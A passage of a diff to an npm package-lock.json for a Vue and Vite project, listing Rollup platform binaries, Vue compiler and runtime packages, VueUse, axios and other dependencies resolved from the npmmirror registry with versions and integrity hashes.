"https://registry.npmmirror.com/@parcel/watcher-win32-x64/-/watcher-win32-x64-2.5.6.tgz", + "integrity": "sha512-hbQlYcCq5dlAX9Qx+kFb0FHue6vbjlf0FrNzSKdYK2APUf7tGfGxQCk2ihEREmbR6ZMc0MVAD5RIX/41gpUzTw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/@popperjs/core": { + "name": "@sxzz/popperjs-es", + "version": "2.11.8", + "resolved": "https://registry.npmmirror.com/@sxzz/popperjs-es/-/popperjs-es-2.11.8.tgz", + "integrity": "sha512-wOwESXvvED3S8xBmcPWHs2dUuzrE4XiZeFu7e1hROIJkm02a49N120pmOXxY33sBb6hArItm5W5tcg1cBtV+HQ==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/popperjs" + } + }, + "node_modules/@rollup/pluginutils": { + "version": "5.3.0", + "resolved": "https://registry.npmmirror.com/@rollup/pluginutils/-/pluginutils-5.3.0.tgz", + "integrity": "sha512-5EdhGZtnu3V88ces7s53hhfK5KSASnJZv8Lulpc04cWO3REESroJXg73DFsOmgbU2BhwV0E20bu2IDZb3VKW4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "estree-walker": "^2.0.2", + "picomatch": "^4.0.2" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "rollup": "^1.20.0||^2.0.0||^3.0.0||^4.0.0" + }, + "peerDependenciesMeta": { + "rollup": { + "optional": true + } + } + }, + "node_modules/@rollup/rollup-android-arm-eabi": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.57.1.tgz", + "integrity": "sha512-A6ehUVSiSaaliTxai040ZpZ2zTevHYbvu/lDoeAteHI8QnaosIzm4qwtezfRg1jOYaUmnzLX1AOD6Z+UJjtifg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-android-arm64": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.57.1.tgz", + "integrity": "sha512-dQaAddCY9YgkFHZcFNS/606Exo8vcLHwArFZ7vxXq4rigo2bb494/xKMMwRRQW6ug7Js6yXmBZhSBRuBvCCQ3w==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-darwin-arm64": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.57.1.tgz", + "integrity": "sha512-crNPrwJOrRxagUYeMn/DZwqN88SDmwaJ8Cvi/TN1HnWBU7GwknckyosC2gd0IqYRsHDEnXf328o9/HC6OkPgOg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-darwin-x64": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.57.1.tgz", + "integrity": "sha512-Ji8g8ChVbKrhFtig5QBV7iMaJrGtpHelkB3lsaKzadFBe58gmjfGXAOfI5FV0lYMH8wiqsxKQ1C9B0YTRXVy4w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-freebsd-arm64": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.57.1.tgz", + "integrity": "sha512-R+/WwhsjmwodAcz65guCGFRkMb4gKWTcIeLy60JJQbXrJ97BOXHxnkPFrP+YwFlaS0m+uWJTstrUA9o+UchFug==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-freebsd-x64": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.57.1.tgz", + "integrity": "sha512-IEQTCHeiTOnAUC3IDQdzRAGj3jOAYNr9kBguI7MQAAZK3caezRrg0GxAb6Hchg4lxdZEI5Oq3iov/w/hnFWY9Q==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-linux-arm-gnueabihf": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.57.1.tgz", + "integrity": "sha512-F8sWbhZ7tyuEfsmOxwc2giKDQzN3+kuBLPwwZGyVkLlKGdV1nvnNwYD0fKQ8+XS6hp9nY7B+ZeK01EBUE7aHaw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm-musleabihf": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.57.1.tgz", + "integrity": "sha512-rGfNUfn0GIeXtBP1wL5MnzSj98+PZe/AXaGBCRmT0ts80lU5CATYGxXukeTX39XBKsxzFpEeK+Mrp9faXOlmrw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-gnu": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.57.1.tgz", + "integrity": "sha512-MMtej3YHWeg/0klK2Qodf3yrNzz6CGjo2UntLvk2RSPlhzgLvYEB3frRvbEF2wRKh1Z2fDIg9KRPe1fawv7C+g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-musl": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.57.1.tgz", + "integrity": "sha512-1a/qhaaOXhqXGpMFMET9VqwZakkljWHLmZOX48R0I/YLbhdxr1m4gtG1Hq7++VhVUmf+L3sTAf9op4JlhQ5u1Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-gnu": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.57.1.tgz", + "integrity": "sha512-QWO6RQTZ/cqYtJMtxhkRkidoNGXc7ERPbZN7dVW5SdURuLeVU7lwKMpo18XdcmpWYd0qsP1bwKPf7DNSUinhvA==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-musl": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.57.1.tgz", + "integrity": "sha512-xpObYIf+8gprgWaPP32xiN5RVTi/s5FCR+XMXSKmhfoJjrpRAjCuuqQXyxUa/eJTdAE6eJ+KDKaoEqjZQxh3Gw==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-gnu": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.57.1.tgz", + "integrity": "sha512-4BrCgrpZo4hvzMDKRqEaW1zeecScDCR+2nZ86ATLhAoJ5FQ+lbHVD3ttKe74/c7tNT9c6F2viwB3ufwp01Oh2w==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-musl": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.57.1.tgz", + "integrity": "sha512-NOlUuzesGauESAyEYFSe3QTUguL+lvrN1HtwEEsU2rOwdUDeTMJdO5dUYl/2hKf9jWydJrO9OL/XSSf65R5+Xw==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-gnu": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.57.1.tgz", + "integrity": "sha512-ptA88htVp0AwUUqhVghwDIKlvJMD/fmL/wrQj99PRHFRAG6Z5nbWoWG4o81Nt9FT+IuqUQi+L31ZKAFeJ5Is+A==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-musl": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.57.1.tgz", + "integrity": "sha512-S51t7aMMTNdmAMPpBg7OOsTdn4tySRQvklmL3RpDRyknk87+Sp3xaumlatU+ppQ+5raY7sSTcC2beGgvhENfuw==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-s390x-gnu": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.57.1.tgz", + "integrity": "sha512-Bl00OFnVFkL82FHbEqy3k5CUCKH6OEJL54KCyx2oqsmZnFTR8IoNqBF+mjQVcRCT5sB6yOvK8A37LNm/kPJiZg==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.57.1.tgz", + "integrity": "sha512-ABca4ceT4N+Tv/GtotnWAeXZUZuM/9AQyCyKYyKnpk4yoA7QIAuBt6Hkgpw8kActYlew2mvckXkvx0FfoInnLg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-musl": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.57.1.tgz", + "integrity": "sha512-HFps0JeGtuOR2convgRRkHCekD7j+gdAuXM+/i6kGzQtFhlCtQkpwtNzkNj6QhCDp7DRJ7+qC/1Vg2jt5iSOFw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-openbsd-x64": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.57.1.tgz", + "integrity": "sha512-H+hXEv9gdVQuDTgnqD+SQffoWoc0Of59AStSzTEj/feWTBAnSfSD3+Dql1ZruJQxmykT/JVY0dE8Ka7z0DH1hw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ] + }, + "node_modules/@rollup/rollup-openharmony-arm64": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.57.1.tgz", + "integrity": "sha512-4wYoDpNg6o/oPximyc/NG+mYUejZrCU2q+2w6YZqrAs2UcNUChIZXjtafAiiZSUc7On8v5NyNj34Kzj/Ltk6dQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ] + }, + "node_modules/@rollup/rollup-win32-arm64-msvc": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.57.1.tgz", + "integrity": "sha512-O54mtsV/6LW3P8qdTcamQmuC990HDfR71lo44oZMZlXU4tzLrbvTii87Ni9opq60ds0YzuAlEr/GNwuNluZyMQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-ia32-msvc": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.57.1.tgz", + "integrity": "sha512-P3dLS+IerxCT/7D2q2FYcRdWRl22dNbrbBEtxdWhXrfIMPP9lQhb5h4Du04mdl5Woq05jVCDPCMF7Ub0NAjIew==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-gnu": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.57.1.tgz", + "integrity": "sha512-VMBH2eOOaKGtIJYleXsi2B8CPVADrh+TyNxJ4mWPnKfLB/DBUmzW+5m1xUrcwWoMfSLagIRpjUFeW5CO5hyciQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-msvc": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.57.1.tgz", + "integrity": "sha512-mxRFDdHIWRxg3UfIIAwCm6NzvxG0jDX/wBN6KsQFTvKFqqg9vTrWUE68qEjHt19A5wwx5X5aUi2zuZT7YR0jrA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@types/estree": { + "version": "1.0.8", + "resolved": "https://registry.npmmirror.com/@types/estree/-/estree-1.0.8.tgz", + "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/lodash": { + "version": "4.17.23", + "resolved": "https://registry.npmmirror.com/@types/lodash/-/lodash-4.17.23.tgz", + "integrity": "sha512-RDvF6wTulMPjrNdCoYRC8gNR880JNGT8uB+REUpC2Ns4pRqQJhGz90wh7rgdXDPpCczF3VGktDuFGVnz8zP7HA==", + "license": "MIT" + }, + "node_modules/@types/lodash-es": { + "version": "4.17.12", + "resolved": "https://registry.npmmirror.com/@types/lodash-es/-/lodash-es-4.17.12.tgz", + "integrity": "sha512-0NgftHUcV4v34VhXm8QBSftKVXtbkBG3ViCjs6+eJ5a6y6Mi/jiFGPc1sC7QK+9BFhWrURE3EOggmWaSxL9OzQ==", + "license": "MIT", + "dependencies": { + "@types/lodash": "*" + } + }, + "node_modules/@types/web-bluetooth": { + "version": "0.0.20", + "resolved": "https://registry.npmmirror.com/@types/web-bluetooth/-/web-bluetooth-0.0.20.tgz", + "integrity": "sha512-g9gZnnXVq7gM7v3tJCWV/qw7w+KeOlSHAhgF9RytFyifW6AF61hdT2ucrYhPq9hLs5JIryeupHV3qGk95dH9ow==", + "license": "MIT" + }, + "node_modules/@vitejs/plugin-vue": { + "version": "5.2.4", + "resolved": "https://registry.npmmirror.com/@vitejs/plugin-vue/-/plugin-vue-5.2.4.tgz", + "integrity": "sha512-7Yx/SXSOcQq5HiiV3orevHUFn+pmMB4cgbEkDYgnkUWb0WfeQ/wa2yFv6D5ICiCQOVpjA7vYDXrC7AGO8yjDHA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "peerDependencies": { + "vite": "^5.0.0 || ^6.0.0", + "vue": "^3.2.25" + } + }, + "node_modules/@volar/language-core": { + "version": "2.4.15", + "resolved": "https://registry.npmmirror.com/@volar/language-core/-/language-core-2.4.15.tgz", + "integrity": "sha512-3VHw+QZU0ZG9IuQmzT68IyN4hZNd9GchGPhbD9+pa8CVv7rnoOZwo7T8weIbrRmihqy3ATpdfXFnqRrfPVK6CA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@volar/source-map": "2.4.15" + } + }, + "node_modules/@volar/source-map": { + "version": "2.4.15", + "resolved": "https://registry.npmmirror.com/@volar/source-map/-/source-map-2.4.15.tgz", + "integrity": "sha512-CPbMWlUN6hVZJYGcU/GSoHu4EnCHiLaXI9n8c9la6RaI9W5JHX+NqG+GSQcB0JdC2FIBLdZJwGsfKyBB71VlTg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@volar/typescript": { + "version": "2.4.15", + "resolved": "https://registry.npmmirror.com/@volar/typescript/-/typescript-2.4.15.tgz", + "integrity": "sha512-2aZ8i0cqPGjXb4BhkMsPYDkkuc2ZQ6yOpqwAuNwUoncELqoy5fRgOQtLR9gB0g902iS0NAkvpIzs27geVyVdPg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@volar/language-core": "2.4.15", + "path-browserify": "^1.0.1", + "vscode-uri": "^3.0.8" + } + }, + "node_modules/@vue/compiler-core": { + "version": "3.5.28", + "resolved": "https://registry.npmmirror.com/@vue/compiler-core/-/compiler-core-3.5.28.tgz", + "integrity": "sha512-kviccYxTgoE8n6OCw96BNdYlBg2GOWfBuOW4Vqwrt7mSKWKwFVvI8egdTltqRgITGPsTFYtKYfxIG8ptX2PJHQ==", + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.0", + "@vue/shared": "3.5.28", + "entities": "^7.0.1", + "estree-walker": "^2.0.2", + "source-map-js": "^1.2.1" + } + }, + "node_modules/@vue/compiler-dom": { + "version": "3.5.28", + "resolved": "https://registry.npmmirror.com/@vue/compiler-dom/-/compiler-dom-3.5.28.tgz", + "integrity": "sha512-/1ZepxAb159jKR1btkefDP+J2xuWL5V3WtleRmxaT+K2Aqiek/Ab/+Ebrw2pPj0sdHO8ViAyyJWfhXXOP/+LQA==", + "license": "MIT", + "dependencies": { + "@vue/compiler-core": "3.5.28", + "@vue/shared": "3.5.28" + } + }, + "node_modules/@vue/compiler-sfc": { + "version": "3.5.28", + "resolved": "https://registry.npmmirror.com/@vue/compiler-sfc/-/compiler-sfc-3.5.28.tgz", + "integrity": "sha512-6TnKMiNkd6u6VeVDhZn/07KhEZuBSn43Wd2No5zaP5s3xm8IqFTHBj84HJah4UepSUJTro5SoqqlOY22FKY96g==", + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.0", + "@vue/compiler-core": "3.5.28", + "@vue/compiler-dom": "3.5.28", + "@vue/compiler-ssr": "3.5.28", + "@vue/shared": "3.5.28", + "estree-walker": "^2.0.2", + "magic-string": "^0.30.21", + "postcss": "^8.5.6", + "source-map-js": "^1.2.1" + } + }, + "node_modules/@vue/compiler-ssr": { + "version": "3.5.28", + "resolved": "https://registry.npmmirror.com/@vue/compiler-ssr/-/compiler-ssr-3.5.28.tgz", + "integrity": "sha512-JCq//9w1qmC6UGLWJX7RXzrGpKkroubey/ZFqTpvEIDJEKGgntuDMqkuWiZvzTzTA5h2qZvFBFHY7fAAa9475g==", + "license": "MIT", + "dependencies": { + "@vue/compiler-dom": "3.5.28", + "@vue/shared": "3.5.28" + } + }, + "node_modules/@vue/compiler-vue2": { + "version": "2.7.16", + "resolved": "https://registry.npmmirror.com/@vue/compiler-vue2/-/compiler-vue2-2.7.16.tgz", + "integrity": "sha512-qYC3Psj9S/mfu9uVi5WvNZIzq+xnXMhOwbTFKKDD7b1lhpnn71jXSFdTQ+WsIEk0ONCd7VV2IMm7ONl6tbQ86A==", + "dev": true, + "license": "MIT", + "dependencies": { + "de-indent": "^1.0.2", + "he": "^1.2.0" + } + }, + "node_modules/@vue/devtools-api": { + "version": "6.6.4", + "resolved": "https://registry.npmmirror.com/@vue/devtools-api/-/devtools-api-6.6.4.tgz", + "integrity": "sha512-sGhTPMuXqZ1rVOk32RylztWkfXTRhuS7vgAKv0zjqk8gbsHkJ7xfFf+jbySxt7tWObEJwyKaHMikV/WGDiQm8g==", + "license": "MIT" + }, + "node_modules/@vue/language-core": { + "version": "2.2.12", + "resolved": "https://registry.npmmirror.com/@vue/language-core/-/language-core-2.2.12.tgz", + "integrity": "sha512-IsGljWbKGU1MZpBPN+BvPAdr55YPkj2nB/TBNGNC32Vy2qLG25DYu/NBN2vNtZqdRbTRjaoYrahLrToim2NanA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@volar/language-core": "2.4.15", + "@vue/compiler-dom": "^3.5.0", + "@vue/compiler-vue2": "^2.7.16", + "@vue/shared": "^3.5.0", + "alien-signals": "^1.0.3", + "minimatch": "^9.0.3", + "muggle-string": "^0.4.1", + "path-browserify": "^1.0.1" + }, + "peerDependencies": { + "typescript": "*" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@vue/reactivity": { + "version": "3.5.28", + "resolved": "https://registry.npmmirror.com/@vue/reactivity/-/reactivity-3.5.28.tgz", + "integrity": "sha512-gr5hEsxvn+RNyu9/9o1WtdYdwDjg5FgjUSBEkZWqgTKlo/fvwZ2+8W6AfKsc9YN2k/+iHYdS9vZYAhpi10kNaw==", + "license": "MIT", + "dependencies": { + "@vue/shared": "3.5.28" + } + }, + "node_modules/@vue/runtime-core": { + "version": "3.5.28", + "resolved": "https://registry.npmmirror.com/@vue/runtime-core/-/runtime-core-3.5.28.tgz", + "integrity": "sha512-POVHTdbgnrBBIpnbYU4y7pOMNlPn2QVxVzkvEA2pEgvzbelQq4ZOUxbp2oiyo+BOtiYlm8Q44wShHJoBvDPAjQ==", + "license": "MIT", + "dependencies": { + "@vue/reactivity": "3.5.28", + "@vue/shared": "3.5.28" + } + }, + "node_modules/@vue/runtime-dom": { + "version": "3.5.28", + "resolved": "https://registry.npmmirror.com/@vue/runtime-dom/-/runtime-dom-3.5.28.tgz", + "integrity": "sha512-4SXxSF8SXYMuhAIkT+eBRqOkWEfPu6nhccrzrkioA6l0boiq7sp18HCOov9qWJA5HML61kW8p/cB4MmBiG9dSA==", + "license": "MIT", + "dependencies": { + "@vue/reactivity": "3.5.28", + "@vue/runtime-core": "3.5.28", + "@vue/shared": "3.5.28", + "csstype": "^3.2.3" + } + }, + "node_modules/@vue/server-renderer": { + "version": "3.5.28", + "resolved": "https://registry.npmmirror.com/@vue/server-renderer/-/server-renderer-3.5.28.tgz", + "integrity": "sha512-pf+5ECKGj8fX95bNincbzJ6yp6nyzuLDhYZCeFxUNp8EBrQpPpQaLX3nNCp49+UbgbPun3CeVE+5CXVV1Xydfg==", + "license": "MIT", + "dependencies": { + "@vue/compiler-ssr": "3.5.28", + "@vue/shared": "3.5.28" + }, + "peerDependencies": { + "vue": "3.5.28" + } + }, + "node_modules/@vue/shared": { + "version": "3.5.28", + "resolved": "https://registry.npmmirror.com/@vue/shared/-/shared-3.5.28.tgz", + "integrity": "sha512-cfWa1fCGBxrvaHRhvV3Is0MgmrbSCxYTXCSCau2I0a1Xw1N1pHAvkWCiXPRAqjvToILvguNyEwjevUqAuBQWvQ==", + "license": "MIT" + }, + "node_modules/@vue/tsconfig": { + "version": "0.5.1", + "resolved": "https://registry.npmmirror.com/@vue/tsconfig/-/tsconfig-0.5.1.tgz", + "integrity": "sha512-VcZK7MvpjuTPx2w6blwnwZAu5/LgBUtejFOi3pPGQFXQN5Ela03FUtd2Qtg4yWGGissVL0dr6Ro1LfOFh+PCuQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@vueuse/core": { + "version": "10.11.1", + "resolved": "https://registry.npmmirror.com/@vueuse/core/-/core-10.11.1.tgz", + "integrity": "sha512-guoy26JQktXPcz+0n3GukWIy/JDNKti9v6VEMu6kV2sYBsWuGiTU8OWdg+ADfUbHg3/3DlqySDe7JmdHrktiww==", + "license": "MIT", + "dependencies": { + "@types/web-bluetooth": "^0.0.20", + "@vueuse/metadata": "10.11.1", + "@vueuse/shared": "10.11.1", + "vue-demi": ">=0.14.8" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@vueuse/metadata": { + "version": "10.11.1", + "resolved": "https://registry.npmmirror.com/@vueuse/metadata/-/metadata-10.11.1.tgz", + "integrity": "sha512-IGa5FXd003Ug1qAZmyE8wF3sJ81xGLSqTqtQ6jaVfkeZ4i5kS2mwQF61yhVqojRnenVew5PldLyRgvdl4YYuSw==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@vueuse/shared": { + "version": "10.11.1", + "resolved": "https://registry.npmmirror.com/@vueuse/shared/-/shared-10.11.1.tgz", + "integrity": "sha512-LHpC8711VFZlDaYUXEBbFBCQ7GS3dVU9mjOhhMhXP6txTV4EhYQg/KGnQuvt/sPAtoUKq7VVUnL6mVtFoL42sA==", + "license": "MIT", + "dependencies": { + "vue-demi": ">=0.14.8" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/acorn": { + "version": "8.15.0", + "resolved": "https://registry.npmmirror.com/acorn/-/acorn-8.15.0.tgz", + "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==", + "dev": true, + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/alien-signals": { + "version": "1.0.13", + "resolved": "https://registry.npmmirror.com/alien-signals/-/alien-signals-1.0.13.tgz", + "integrity": "sha512-OGj9yyTnJEttvzhTUWuscOvtqxq5vrhF7vL9oS0xJ2mK0ItPYP1/y+vCFebfxoEyAz0++1AIwJ5CMr+Fk3nDmg==", + "dev": true, + "license": "MIT" + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmmirror.com/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "license": "ISC", + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/anymatch/node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/async-validator": { + "version": "4.2.5", + "resolved": "https://registry.npmmirror.com/async-validator/-/async-validator-4.2.5.tgz", + "integrity": "sha512-7HhHjtERjqlNbZtqNqy2rckN/SpOOlmDliet+lP7k+eKZEjPk3DgyeU9lIXLdeLz0uBbbVp+9Qdow9wJWgwwfg==", + "license": "MIT" + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmmirror.com/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" + }, + "node_modules/axios": { + "version": "1.13.5", + "resolved": "https://registry.npmmirror.com/axios/-/axios-1.13.5.tgz", + "integrity": "sha512-cz4ur7Vb0xS4/KUN0tPWe44eqxrIu31me+fbang3ijiNscE129POzipJJA6zniq2C/Z6sJCjMimjS8Lc/GAs8Q==", + "license": "MIT", + "dependencies": { + "follow-redirects": "^1.15.11", + "form-data": "^4.0.5", + "proxy-from-env": "^1.1.0" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/binary-extensions": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/binary-extensions/-/binary-extensions-2.3.0.tgz", + "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": 